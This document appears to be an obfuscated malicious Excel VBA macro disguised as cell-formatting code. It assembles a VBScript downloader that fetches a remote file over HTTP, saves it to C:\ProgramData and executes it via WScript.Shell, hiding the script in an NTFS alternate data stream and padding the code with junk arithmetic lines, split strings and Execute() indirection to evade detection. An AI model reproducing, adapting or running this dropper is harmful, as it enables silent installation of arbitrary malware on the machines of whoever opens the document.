varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "    oojihugygftfdtftfgyhuytrtrdrfg34 = ""-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907""" + vbCrLf
varstrlong = varstrlong + "   Execute(""fso.DeleteFile(path)"") '15481" + vbCrLf
varstrlong = varstrlong + "      msg = path & "" exists.""" + vbCrLf
varstrlong = varstrlong + "      Execute(""MyURL=aa:MyPath=bb"") " + vbCrLf
varstrlong = varstrlong + "      sWScript = ""WScript""" + vbCrLf
varstrlong = varstrlong + "       sWScript = sWScript + "".""" + vbCrLf
varstrlong = varstrlong + "       m = sWScript + ""Shell""" + vbCrLf
varstrlong = varstrlong + "       Execute(""l=m"")  '15481" + vbCrLf
varstrlong = varstrlong + "       set just_obj = CreateObject(l)" + vbCrLf
varstrlong = varstrlong + "   Else" + vbCrLf
varstrlong = varstrlong + "      msg = path & "" doesn't exist.""" + vbCrLf
varstrlong = varstrlong + "   End If" + vbCrLf
varstrlong = varstrlong + "    Dim i, objFile, objFSO, objHTTP, strFile, strMsg" + vbCrLf
varstrlong = varstrlong + "    Const ForReading = 1, ForWriting = 2, ForAppending = 8 " + vbCrLf
varstrlong = varstrlong + "    Set objFSO = CreateObject(cobvar)" + vbCrLf
varstrlong = varstrlong + "    If objFSO.FolderExists( myPath ) Then" + vbCrLf
varstrlong = varstrlong + "        varslash = ""/""" + vbCrLf
varstrlong = varstrlong + "        Execute(""strFile = objFSO."" + ""Build"" + ""Path( myPath, Mid( myURL, InStrRev( myURL, varslash ) + 1 ) )"") '15481" + vbCrLf
varstrlong = varstrlong + "    ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, ""\"" ) - 1 ) ) Then" + vbCrLf
varstrlong = varstrlong + "        'If any cop asks you where you were, just say you were visiting Kansas." + vbCrLf
varstrlong = varstrlong + "        strFile = myPath" + vbCrLf
varstrlong = varstrlong + "    Else" + vbCrLf
varstrlong = varstrlong + "        WScript.Echo ""If you don't like toenails, you probably shouldn't look at your feet."" " + vbCrLf
varstrlong = varstrlong + "        Exit Sub" + vbCrLf
varstrlong = varstrlong + "    End If" + vbCrLf
varstrlong = varstrlong + "    Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )" + vbCrLf
varstrlong = varstrlong + "   'Set objHTTP = CreateObject( ""Microsoft.XMLHTTP"" )" + vbCrLf
varstrlong = varstrlong + "   dim stream_obj" + vbCrLf
varstrlong = varstrlong + "   ado = ""ADODB.Stream"" " + vbCrLf
varstrlong = varstrlong + "   set stream_obj = CreateObject(ado)" + vbCrLf
varstrlong = varstrlong + "    Execute(""objHT"" + ""TP."" + ""Open """"GET"""", myURL, False"")" + vbCrLf
varstrlong = varstrlong + "    objHTTP.Send" + vbCrLf
varstrlong = varstrlong + "   stream_obj.type = 1" + vbCrLf
varstrlong = varstrlong + "   Execute(""stream_obj."" + ""open"") '15481" + vbCrLf
varstrlong = varstrlong + "   Execute(""stream_obj.write objHTTP.Respons"" + ""eBody"") " + vbCrLf
varstrlong = varstrlong + "   Execute(""stream_obj.save"" + ""tofile strFile, 2"")" + vbCrLf
varstrlong = varstrlong + "End Sub" + vbCrLf
varstrlong = varstrlong + "yulkytjtrhtjrkdsarjky = Ffputp3Y7wf7lmo0exjW0OfIIiC5wMNPjUN4wTG2aHXBvHn1Qm7hCMFRrQe7tW57TGfAcxm2SPood0ri3hiXqvLAVW3ZH01IrHxbY9iEqhnWTK" + vbCrLf
varstrlong = varstrlong + "yulkytjtrhtjrkdsarjky = ""C:"" + ""\Program"" + ""Data\"" + yulkytjtrhtjrkdsarjky" + vbCrLf
varstrlong = varstrlong + "fsdfdsfs = f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF  '15481" + vbCrLf
varstrlong = varstrlong + "HTxTPDownload fsdfdsfs, yulkytjtrhtjrkdsarjky" + vbCrLf
varstrlong = varstrlong + "dim just_obj" + vbCrLf
varstrlong = varstrlong + "RUNC = yulkytjtrhtjrkdsarjky" + vbCrLf
varstrlong = varstrlong + "Execute(""just_obj."" + ""ex"" + ""ec RUNC"")" + vbCrLf

    On Error Resume Next
j = ".S" + "hell"
Range("A1:C1").Select

Selection.Font.Name = "Arial" '15481
Selection.Font.Bold = True
Selection.Interior.Color = vbGreen
xzxz = "Ws" + "cr" + "ipt" + j
       hournow = Hour(Time())
If hournow < 25 Then
x = "C:\program"
x = x + "data"
x = x + "\asc.txt"
Path = "C:\Windows\System32\c" + "script" + ".exe "
End If

Dim i As Integer
'ii = InputBox("Enter Value", "Enter Serial Numbers")

Handler:
Dim gfdgfdgdf As Object
sdfsdfs = "Scri"
sdfsdfs = sdfsdfs + "pti"
sdfsdfs = sdfsdfs + "ng."
smallvar = "File"
smallvar = smallvar + "SystemObject" '15481


Dim oFile As Object
almvar = "vb"
almvar = almvar + "s"
TXTFile = x + ":" + "script1" + "." + almvar

Open TXTFile For Output As #1
Print #1, varstrlong
Close #1
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
